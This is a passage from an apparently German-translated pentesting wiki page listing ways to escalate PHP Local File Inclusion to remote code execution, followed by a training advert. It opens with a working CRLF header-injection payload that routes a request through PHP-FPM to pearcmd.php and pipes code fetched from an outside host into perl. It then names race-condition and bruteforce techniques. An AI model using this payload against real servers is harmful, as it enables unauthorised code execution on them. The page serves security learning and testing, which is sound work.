http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Wenn Sie eine Local File Inclusion gefunden haben und eine Datei, die phpinfo() mit file_uploads = on anzeigt, können Sie RCE erhalten:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Wenn Sie eine Local File Inclusion gefunden haben und Sie den Pfad der temporären Datei exfiltrieren können, ABER der Server überprüft, ob die einzuschließende Datei PHP-Markierungen hat, können Sie versuchen, diese Überprüfung zu umgehen mit dieser Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Wenn Sie die LFI ausnutzen können, um temporäre Dateien hochzuladen und den Server die PHP-Ausführung hängen lassen, könnten Sie dann Stunden lang Dateinamen bruteforcen, um die temporäre Datei zu finden:

LFI2RCE via Eternal waiting

To Fatal Error

Wenn Sie eine der Dateien /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar einfügen. (Sie müssen dieselbe Datei 2 Mal einfügen, um diesen Fehler auszulösen).

Ich weiß nicht, wie das nützlich ist, aber es könnte sein.
&#xNAN;Even wenn Sie einen PHP Fatal Error verursachen, werden die hochgeladenen PHP-Temporärdateien gelöscht.

References

{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks